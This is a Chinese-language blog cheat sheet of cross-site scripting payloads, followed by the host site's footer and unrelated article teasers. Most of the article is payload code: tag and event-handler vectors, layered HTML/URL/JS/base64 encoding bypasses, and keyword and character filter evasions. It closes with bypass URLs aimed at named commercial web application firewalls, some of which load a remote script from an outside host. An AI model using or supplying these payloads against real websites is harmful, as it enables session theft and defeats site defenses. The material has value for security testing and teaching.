XSS 常用标签及绕过姿势总结

XSS 常用标签及绕过姿势总结

一、xss 常见标签语句

0x01. 标签

<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>
<a href="x" onmouseout="alert('xss');">xss</a>
  • 0x02. 标签

    <img src=x onerror="alert(1)">
    <img src=x onerror=eval("alert(1)")>
    <img src=1 onmouseover="alert('xss');">
    <img src=1 onmouseout="alert('xss');">
    <img src=1 onclick="alert('xss');">
    
    • 0x03. 标签

      <iframe src="javascript:alert(1)">test</iframe>
      <iframe onload="alert(document.cookie)"></iframe>
      <iframe onload="alert('xss');"></iframe>
      <iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
      <iframe onmouseover="alert('xss');"></iframe>
      <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
      

        0x04. 标签

        <audio src=1 onerror=alert(1)>
        <audio><source src="x" onerror="alert('xss');"></audio>
        <audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
        <audio controls onmouseover="alert('xss');"><source src="x"></audio>
        

          0x05. 标签

          <video src=x onerror=alert(1)>
          <video><source onerror="alert('xss');"></video>
          <video controls onmouseover="alert('xss');"></video>
          <video controls onfocus="alert('xss');" autofocus=""></video>
          <video controls onclick="alert('xss');"></video>
          
          • 0x06.

            <svg onload=javascript:alert(1)>
            <svg onload="alert('xss');"></svg>
            

              0x07. 标签

              <button onclick=alert(1)>
              <button onfocus="alert('xss');" autofocus="">xss</button>
              <button onclick="alert('xss');">xss</button>
              <button onmouseover="alert('xss');">xss</button>
              <button onmouseout="alert('xss');">xss</button>
              <button onmouseup="alert('xss');">xss</button>
              <button onmousedown="alert('xss');"></button>
              

                0x08.

                标签

                这个需要借助url编码来实现绕过
                

          原代码:
          <div onmouseover=alert(1)>DIV</div>
          经过url编码:
          <div onmouseover%3d‘alert%26lpar%3b1%26rpar%3b’>DIV<%2fdiv>

            0x09. 标签
            这个需要借助 data 伪协议和 base64 编码来实现绕过

            <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
            

              0x10.

              <script>alert('xss')</script>
              <script>alert(/xss/)</script>
              <script>alert(123)</script>
              

                0x11.

                标签

                <p onclick="alert('xss');">xss</p>
                <p onmouseover="alert('xss');">xss</p>
                <p onmouseout="alert('xss');">xss</p>
                <p onmouseup="alert('xss');">xss</p>
                

                  0x12. 标签

                  <input onclick="alert('xss');">
                  <input onfocus="alert('xss');">
                  <input onfocus="alert('xss');" autofocus="">
                  <input onmouseover="alert('xss');">
                  <input type="text" onkeydown="alert('xss');"></input>
                  <input type="text" onkeypress="alert('xss');"></input>
                  <input type="text" onkeydown="alert('xss');"></input>
                  

                    0x13. 标签

                    <details ontoggle="alert('xss');"></details>
                    <details ontoggle="alert('xss');" open=""></details>
                    

                      0x14. 标签

                      <select onfocus="alert('xss');" autofocus></select>
                      <select onmouseover="alert('xss');"></select>
                      <select onclick=eval("alert('xss');")></select>
                      

                        0x15. 标签

                        <form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
                        <form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>
                        <form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>
                        

                          0x16. 标签

                          <body onload="alert('xss');"></body>
                          

                            二、xss 常见绕过

                            编码绕过
                            浏览器对 XSS 代码的解析顺序为:HTML解码 —— URL解码 —— JS解码(只支持UNICODE)。

                            0x01. html 实体编码
                            当可控点为单个标签属性时,可以使用 html 实体编码。

                            <a href="可控点">test</a>
                            

                            <iframe src=“可控点”>test<iframe>
                            <img src=x onerror=“可控点”>
                            Payload

                            <a href=“javascript:alert(1)”>test</a>
                            十进制

                            <a href=“&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;”>test</a>
                            十六进制

                            <a href=“&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;”>test</a>

                            可以不带分号

                            <a href=“&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29”>test</a>

                            可以填充0

                            <a href=“&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029”>test</a>

                            • 0x02. url 编码

                              当注入点存在 href 或者 src 属性时,可以使用 url 编码。
                              

                            <a href=“可控点”>test</a>

                            <iframe src=“可控点”>test</iframe>

                            Payload

                            <a href=“javascript:alert(1)”>test</a>

                            <iframe src=“javascript:alert(1)”>test</iframe>
                            注:url 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留。

                            <a href=“javascript:%61%6c%65%72%74%28%31%29”>test</a>

                            <iframe src=“javascript:%61%6c%65%72%74%28%31%29”>test</iframe>
                            可以二次编码

                            <a href=“javascript:%2561%256c%2565%2572%2574%2528%2531%2529”>test</a>

                            <iframe src=“javascript:%2561%256c%2565%2572%2574%2528%2531%2529”>test</iframe>

                            • 0x03. js 编码

                              解析的时候字符或者字符串仅会被解码为字符串文本或者标识符名称,例如 js 解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行解码后为alert,而alert是一个有效的标识符名称,它是能被正常解析的。

                              但是像圆括号、双引号、单引号等等这些字符就只能被当作普通的文本,从而导致无法执行。

                              由于 js 是最后进行解析的,所以如果混合编码,需要先使用 js 编码再进行 url 编码或者 html 实体编码。

                              js 编码策略:

                              “” 加上三个八进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\074”

                              “\x” 加上两个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\x3c”

                              “\u” 加上四个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\u003c”

                              对于一些控制字符,使用特殊的 C 类型的转义风格(例如 \n 和 \r)

                              <img src=x onerror="可控点">
                              

                            <input onfocus=location=“可控点” autofocus>

                              Payload

                              <img src=x onerror="alert(1)">
                              

                              <input onfocus=location=“alert(1)” autofocus>

                                Unicode 编码

                                <img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
                                

                                <input onfocus=location=“javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029” autofocus>

                                  注:

                                  Unicode 编码时,只能对有效的标识符进行编码,否则非标识符解码后不能解析执行。例如 javascript:alert(1) ,进行 Unicode 编码时,只能对 alert 和 “1” 进行编码,框号编码后会被当成文本字符,不能执行。

                                  ascii 八进制和十六进制编码使用时需要 eval、setTimeout等函数传递变量,并且可以对整个传递参数进行编码。例如 eval(“alert(1)”),可以对 “alert(1)” 整个进行八进制、十六进制或者 Unicode 编码(双引号不参与)。

                                  八进制和十六进制

                                  setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。

                                  语法:setTimeout(要执行的代码, 等待的毫秒数)

                                  setTimeout(JavaScript 函数, 等待的毫秒数)

                                  1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
                                  2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
                                  3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
                                  4.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
                                  5.<script>eval("\141\154\145\162\164\050\061\051")</script>
                                  6.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
                                  

                                    0x04. 混合编码

                                    <a href="可控点">test</a>
                                    

                                      Payload

                                      <a href="javascript:alert(1)">test</a>
                                      

                                        html 编码

                                        <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>
                                        

                                          Unicode 编码

                                          <a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
                                          

                                            注:Unicode 编码不能对括号使用

                                            url 编码

                                            <a href="javascript:%61%6c%65%72%74%28%31%29">test</a>
                                            

                                              由于浏览器对 xss 代码的解析过程是:html解析 —— url解析 —— js解析,所以可以编码方式进行组合绕过。

                                              1. 原代码
                                              <a href="javascript:alert(1)">test</a>
                                              
                                                1. 对alert进行JS编码(unicode编码)
                                                <a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
                                                
                                                  1. 对href标签中的\u0061\u006c\u0065\u0072\u0074进行URL编码
                                                  <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>
                                                  
                                                    1. 对href标签中的javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)进行HTML编码:
                                                    <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x29;">test</a>
                                                    

                                                      注:href、src等加载url的属性可以使用三种混合编码,on事件可以使用html实体编码和js编码混合,但url编码在on事件中不会解析。

                                                      0x05. base64 编码

                                                      base64 编码通常需要使用到 data 伪协议。

                                                      data 协议使用方法:data:资源类型;编码,内容

                                                      base64编码内容为

                                                      <script>alert(/xss/)</script>
                                                      

                                                        PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=
                                                        通常与 base64 编码配合 data 协议的标签有 、、

                                                        1. 标签

                                                        <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
                                                        

                                                          2. 标签
                                                          <a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">test</a> (新版浏览器不支持)
                                                          3. 标签

                                                          <iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe>
                                                          

                                                            4. 标签

                                                            <embed src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></embed>
                                                            

                                                              atob 函数

                                                              atob() 方法用于解码使用 base-64 编码的字符串。

                                                              语法:window.atob(encodedStr)(encodedStr: 必需,是一个通过 btoa() 方法编码的字符串)

                                                              1.<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>
                                                              2.<a href=javascript:eval(window.atob('YWxlcnQoMSk='))>test</a>
                                                              3.<a href=javascript:eval(window['atob']('YWxlcnQoMSk='))>test</a>
                                                              4.<img src=x onmouseover="eval(window.atob('YWxlcnQoMSk='))">
                                                              5.<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
                                                              6.<iframe src="javascript:eval(window['atob']('YWxlcnQoMSk='))"></iframe>
                                                              

                                                                0x06. ascii 编码

                                                                ascii 编码一般配合String.fromCharCode使用。

                                                                alert(1)
                                                                十进制:97, 108, 101, 114, 116, 40, 49, 41
                                                                十六进制:0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29

                                                                十进制

                                                                <a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>
                                                                

                                                                  十六进制

                                                                  <a href='javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))'>test</a>
                                                                  

                                                                    空格过滤绕过

                                                                    <html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>
                                                                    

                                                                      A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20 B位置可填充 %09,%0A,%0C,%0D,%20 C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20 D位置可填充 %09,%0A,%0C,%0D,%20,//,>

                                                                      圆括号过滤绕过
                                                                      0x01. 反引号替换

                                                                      <script>alert`1`</script>
                                                                      

                                                                        0x02. throw 绕过

                                                                        <video src onerror="javascript:window.οnerrοr=alert;throw 1">
                                                                        <svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">
                                                                        

                                                                          单引号过滤绕过
                                                                          0x01. 斜杠替换

                                                                          <script>alert(/xss/)</script>
                                                                          

                                                                            0x02. 反引号替换

                                                                            <script>alert(`xss`)</script>
                                                                            

                                                                              alert 过滤绕过
                                                                              0x01. prompt 替换

                                                                              <script>prompt(/xss/)</script>
                                                                              

                                                                                0x02. confirm 替换

                                                                                <script>confirm(/xss/)</script>
                                                                                

                                                                                  0x03. console.log 替换

                                                                                  <script>console.log(3)</script>
                                                                                  

                                                                                    0x04. document.write 替换

                                                                                    <script>document.write(1)</script>
                                                                                    

                                                                                      0x05. base64 绕过

                                                                                      <img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
                                                                                      <img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">
                                                                                      

                                                                                        关键词置空绕过
                                                                                        0x01. 大小写绕过

                                                                                        <script>alert(/xss/)</script>
                                                                                        

                                                                                          可以转换为

                                                                                          <ScRiPt>AlErT(/xss/)</sCrIpT>
                                                                                          

                                                                                            0x02. 嵌套绕过
                                                                                            嵌套突破

                                                                                            <script>alert(/xss/)</script>
                                                                                            

                                                                                              可以转换为

                                                                                              <sc<script>ript>alert(/xss/)</sc</script>ript>
                                                                                              

                                                                                                函数拼接
                                                                                                0x01. eval

                                                                                                <img src="x"onerror="eval('al'+'ert(1)')">
                                                                                                

                                                                                                  0x02. top

                                                                                                  <img src="x" onerror="top['al'+'ert'](1)">
                                                                                                  

                                                                                                    0x03. window

                                                                                                    <img src="x" onerror="window['al'+'ert'](1)">
                                                                                                    

                                                                                                      0x04. self

                                                                                                      <img src="x" onerror="self[`al`+`ert`](1)">
                                                                                                      

                                                                                                        0x05. parent

                                                                                                        <img src="x" onerror="parent[`al`+`ert`](1)">
                                                                                                        

                                                                                                          0x06. frames

                                                                                                          <img src="x" onerror="frames[`al`+`ert`](1)">
                                                                                                          

                                                                                                            0x07. 常用函数

                                                                                                            <img src="x" onerror="eval(alert(1))">
                                                                                                            <img src="x" onerror="open(alert(1))">
                                                                                                            <img src="x" onerror="document.write(alert(1))">
                                                                                                            <img src="x" onerror="setTimeout(alert(1))">
                                                                                                            <img src="x" onerror="setInterval(alert(1))">
                                                                                                            <img src="x" onerror="Set.constructor(alert(1))">
                                                                                                            <img src="x" onerror="Map.constructor(alert(1))">
                                                                                                            <img src="x" onerror="Array.constructor(alert(1))">
                                                                                                            <img src="x" onerror="WeakSet.constructor(alert(1))">
                                                                                                            <img src="x" onerror="constructor.constructor(alert(1))">
                                                                                                            <img src="x" onerror="[1].map(alert(1))">
                                                                                                            <img src="x" onerror="[1].find(alert(1))">
                                                                                                            <img src="x" onerror="[1].every(alert(1))">
                                                                                                            <img src="x" onerror="[1].filter(alert(1))">
                                                                                                            <img src="x" onerror="[1].forEach(alert(1))">
                                                                                                            <img src="x" onerror="[1].findIndex(alert(1))">
                                                                                                            
                                                                                                            • 赋值拼接

                                                                                                              <img src onerror=_=alert,_(1)>
                                                                                                              <img src x=al y=ert onerror=top[x+y](1)>
                                                                                                              <img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
                                                                                                              <img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
                                                                                                              

                                                                                                                火狐IE专属

                                                                                                                <marquee onstart=alert(1)>
                                                                                                                

                                                                                                                  拆分法
                                                                                                                  当 Web 应用程序对目标用户的输入长度进行了限制时,这时无法注入较长的xss攻击向量,但是特定情况下,这种限制可以通过拆分法注入的方式进行绕过。

                                                                                                                  <script>a='document.write("'</script>
                                                                                                                  <script>a=a+'<script src=ht'</script>
                                                                                                                  <script>a=a+'tp://test.com/xs'</script>
                                                                                                                  <script>a=a+'s.js></script>")'</script>
                                                                                                                  <script>eval(a)</script>
                                                                                                                  
                                                                                                                  • 通过上面的拆分法可以拼凑出下面完整的攻击向量:

                                                                                                                    document.write(“”)

                                                                                                                    三、绕过 waf 拦截

                                                                                                                    安全狗

                                                                                                                    http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=top[`al`%2B`ert`](1);>
                                                                                                                    http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=appendChild(createElement("script")).src="//z.cn">
                                                                                                                    

                                                                                                                      D盾

                                                                                                                      http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[`al`%2B`ert`](1);>
                                                                                                                      http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>
                                                                                                                      

                                                                                                                        云锁+奇安信 waf

                                                                                                                        http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[`al`%2B`ert`](1);>
                                                                                                                        http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>
                                                                                                                        

                                                                                                                      本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/17124.html

                                                                                                                      如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

                                                                                                                      相关文章

                                                                                                                      Ubuntu20.04上搭建nginx正向代理提供上网服务

                                                                                                                      背景&#xff1a;公司很多电脑因软件管控问题不得不禁止设备上网&#xff0c;现需搭建上网代理服务器提供给这些用户使用。 操作系统&#xff1a;ubuntu20.04 工具&#xff1a;nginx-1.25.4 1、下载nginx安装包及依赖 由于nginx默认只持支持转发http协议&#xff0c;所以如…

                                                                                                                      deepseek的CoT优势、两阶段训练的有效性学习笔记

                                                                                                                      文章目录 1 DeepSeek的CoT思维链的优势1.2 open-r1的CoT训练数据1.3 ReAct任务与CoT任务适用场景 2 AI推理方向&#xff1a;deepseek与deepmind的两条路线的差异2.1 PRM与ORM的两大学派分支的差异2.2 DeepSeek-R1的两阶段训练概述 1 DeepSeek的CoT思维链的优势 DeepSeek跟之前…

                                                                                                                      DeepSeek批量生成全平台推广营销内容:高效提升营销效率

                                                                                                                      在这个信息爆炸的时代&#xff0c;内容营销的重要性不言而喻。无论是企业的官方网站、社交媒体账号&#xff0c;还是电商平台&#xff0c;都需要源源不断的高质量内容来吸引和留住用户。面对多平台发布的需求&#xff0c;人工撰写内容不仅耗时耗力&#xff0c;还容易出现内容质…

                                                                                                                      win11 终端乱码导致IDE 各种输出也乱码

                                                                                                                      因为 win11 终端乱码导致IDE 各种输出也乱码导致作者对此十分头大。所以研究了各种方法。 单独设置终端编码对 HKEY_CURRENT_USER\Console 注册表进行修改对 HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processo 注册表进行修改使用命令[Console]::OutputEncoding [Syst…

                                                                                                                      字节Trae初使用感想

                                                                                                                      前言 大环境不好&#xff0c;公司为了降本增效。研发部门全员拥抱AI&#xff0c;前后端都要用起来。回归开发本源&#xff0c;前后端一个人做。 也不知道知道是哪位领导选型的&#xff0c;选的cursor&#xff0c;但是我不分享它&#xff0c;我分享Trae的初之验。也许是选curs…

                                                                                                                      笔记6——字典dict(dictionary)

                                                                                                                      文章目录 字典dict(dictionary)定义特点常用操作1.访问值2.添加键值对3.修改值4.删除键值对5.遍历字典6.合并字典 性能应用场景dict和list的区别 字典dict(dictionary) 以 键 - 值对 (key - value pairs)的形式存储数据 定义 字典使用花括号 {} 来定义&#xff0c;键和值之…

                                                                                                                      编译和链接【四】链接详解

                                                                                                                      文章目录 编译和链接【四】链接详解前言系列文章入口符号表和重定位表链接过程分段组装符号决议重定位 编译和链接【四】链接详解 前言 在我大一的时候&#xff0c; 我使用VC6.0对C语言程序进行编译链接和运行 &#xff0c; 然后我接触了VS&#xff0c; Qt creator等众多IDE&…

                                                                                                                      低空经济:开启未来空中生活的全新蓝海

                                                                                                                      引言 随着科技的进步&#xff0c;我们不再仅仅依赖地面交通和传统物流。你是否曾幻想过&#xff0c;未来的某一天&#xff0c;快递、外卖可以像魔法一样直接从空中送到你手中&#xff1f;或者&#xff0c;你能乘坐小型飞行器&#xff0c;快速穿梭于城市之间&#xff0c;告别拥堵…

                                                                                                                      IntegrAO整合不完整数据以实现患者分层

                                                                                                                      高通量组学分析技术的进步极大地推动了癌症患者的分层研究。然而&#xff0c;多组学整合中的数据不完整问题带来了巨大挑战&#xff0c;因为像样本排除或插补这样的传统方法常常会损害真实生物多样性。此外&#xff0c;将具有部分组学数据的新患者准确分类到现有亚型这一关键任…

                                                                                                                      [创业之路-299]:图解金融体系结构

                                                                                                                      一、金融体系结构 1.1 概述 金融体系结构是一个国家以行政的、法律的形式和运用经济规律确定的金融系统结构&#xff0c;以及构成这个系统的各种类型的银行和非银行金融机构的职能作用和相互关系。以下是对金融体系结构的详细分析&#xff1a; 1、金融体系的构成要素 现代金…

                                                                                                                      #渗透测试#批量漏洞挖掘#致远互联AnalyticsCloud 分析云 任意文件读取

                                                                                                                      免责声明 本教程仅为合法的教学目的而准备&#xff0c;严禁用于任何形式的违法犯罪活动及其他商业行为&#xff0c;在使用本教程前&#xff0c;您应确保该行为符合当地的法律法规&#xff0c;继续阅读即表示您需自行承担所有操作的后果&#xff0c;如有异议&#xff0c;请立即停…

                                                                                                                      el-table封装一个自定义列配置表格组件(vue3开箱即用)

                                                                                                                      组件核心功能 拖拽排序&#xff08;使用 vuedraggable&#xff09; 显示/隐藏控制 列宽调整 列固定状态记忆 搜索过滤列 本地存储&#xff08;localStorage&#xff09;可改成接口保存 默认配置恢复 通过 searchText 动态过滤列。 安装拖拽依赖 npm install vuedragg…

                                                                                                                      关于qtcreator的安装过程遇到的问题和处理方法

                                                                                                                      打算开发个对windows兼容性好的软件&#xff0c;最终决定用c语言&#xff0c;后来选择了qt&#xff0c;发现qt有个不错的东西qt quick&#xff0c;界面图形效果表现的不错&#xff0c;还能做动画&#xff0c;甚至可以做成游戏。 于是打算安装这个软件&#xff0c;软件虽然开源…

                                                                                                                      一文通俗理解为什么需要泛型以及泛型的使用

                                                                                                                      为什么需要泛型&#xff1f; public static void main(String[] args) {ArrayList list new ArrayList();// 由于集合没有做任何限定&#xff0c;任何类型都可以给其中存放list.add("abc");list.add("def");list.add(5);Iterator it list.iterator();wh…

                                                                                                                      HtmlRAG:RAG系统中,HTML比纯文本效果更好

                                                                                                                      HtmlRAG 方法通过使用 HTML 而不是纯文本来增强 RAG 系统中的知识表示能力。通过 HTML 清洗和两步块树修剪方法&#xff0c;在保持关键信息的同时缩短了 HTML 文档的长度。这种方法优于现有基于纯文本的RAG的性能。 方法 其实主要看下围绕html提纯思路&#xff0c;将提纯后的…

                                                                                                                      KEPServerEX 中信道深入介绍

                                                                                                                      以下是 KEPServerEX 中信道&#xff08;Channel&#xff09; 的详细介绍&#xff0c;涵盖其定义、功能、配置步骤及最佳实践&#xff0c;帮助您快速掌握信道在数据采集中的核心作用&#xff1a; 一、信道&#xff08;Channel&#xff09;的定义 信道 是 KEPServerEX 中 连接物…

                                                                                                                      C#(Winform)通过添加AForge添加并使用系统摄像机

                                                                                                                      先展示效果 AForge介绍 AForge是一个专门为开发者和研究者基于C#框架设计的, 也是NET平台下的开源计算机视觉和人工智能库 它提供了许多常用的图像处理和视频处理算法、机器学习和神经网络模型&#xff0c;并且具有高效、易用、稳定等特点。 AForge主要包括: 计算机视觉与人…

                                                                                                                      迅为RK3568开发板篇OpenHarmony实操HDF驱动配置LED-LED测试

                                                                                                                      将编译好的镜像全部进行烧写&#xff0c;镜像在源码根目录 out/rk3568/packages/phone/images/目录下。 烧写完成之后&#xff0c;在调试串口查看打印日志&#xff0c;如下图所示&#xff1a; 然后打开 hdc 工具&#xff0c;运行测试程序&#xff0c;输入“led_test 1”&…

                                                                                                                      在VS2022中配置DirectX12环境,并显示显示一个窗口

                                                                                                                      1.创建空项目并配置项目&#xff1a; 1.打开VS2022,创建C项目中的空项目 2.新建一个Main.cpp文件 3.配置项目 将属性页的C/C项中的语言栏的符合模式设置为否 再将链接器中的系统栏的子系统设置为窗口 设置完成&#xff01; 2.创建一个Windows窗口&#xff1a; 代码&#…

                                                                                                                      AI前端开发:蓬勃发展的机遇与挑战

                                                                                                                      人工智能&#xff08;AI&#xff09;领域的飞速发展&#xff0c;正深刻地改变着我们的生活方式&#xff0c;也为技术人才&#xff0c;特别是AI代码生成领域的专业人士&#xff0c;带来了前所未有的机遇。而作为AI应用与用户之间桥梁的前端开发&#xff0c;其重要性更是日益凸显…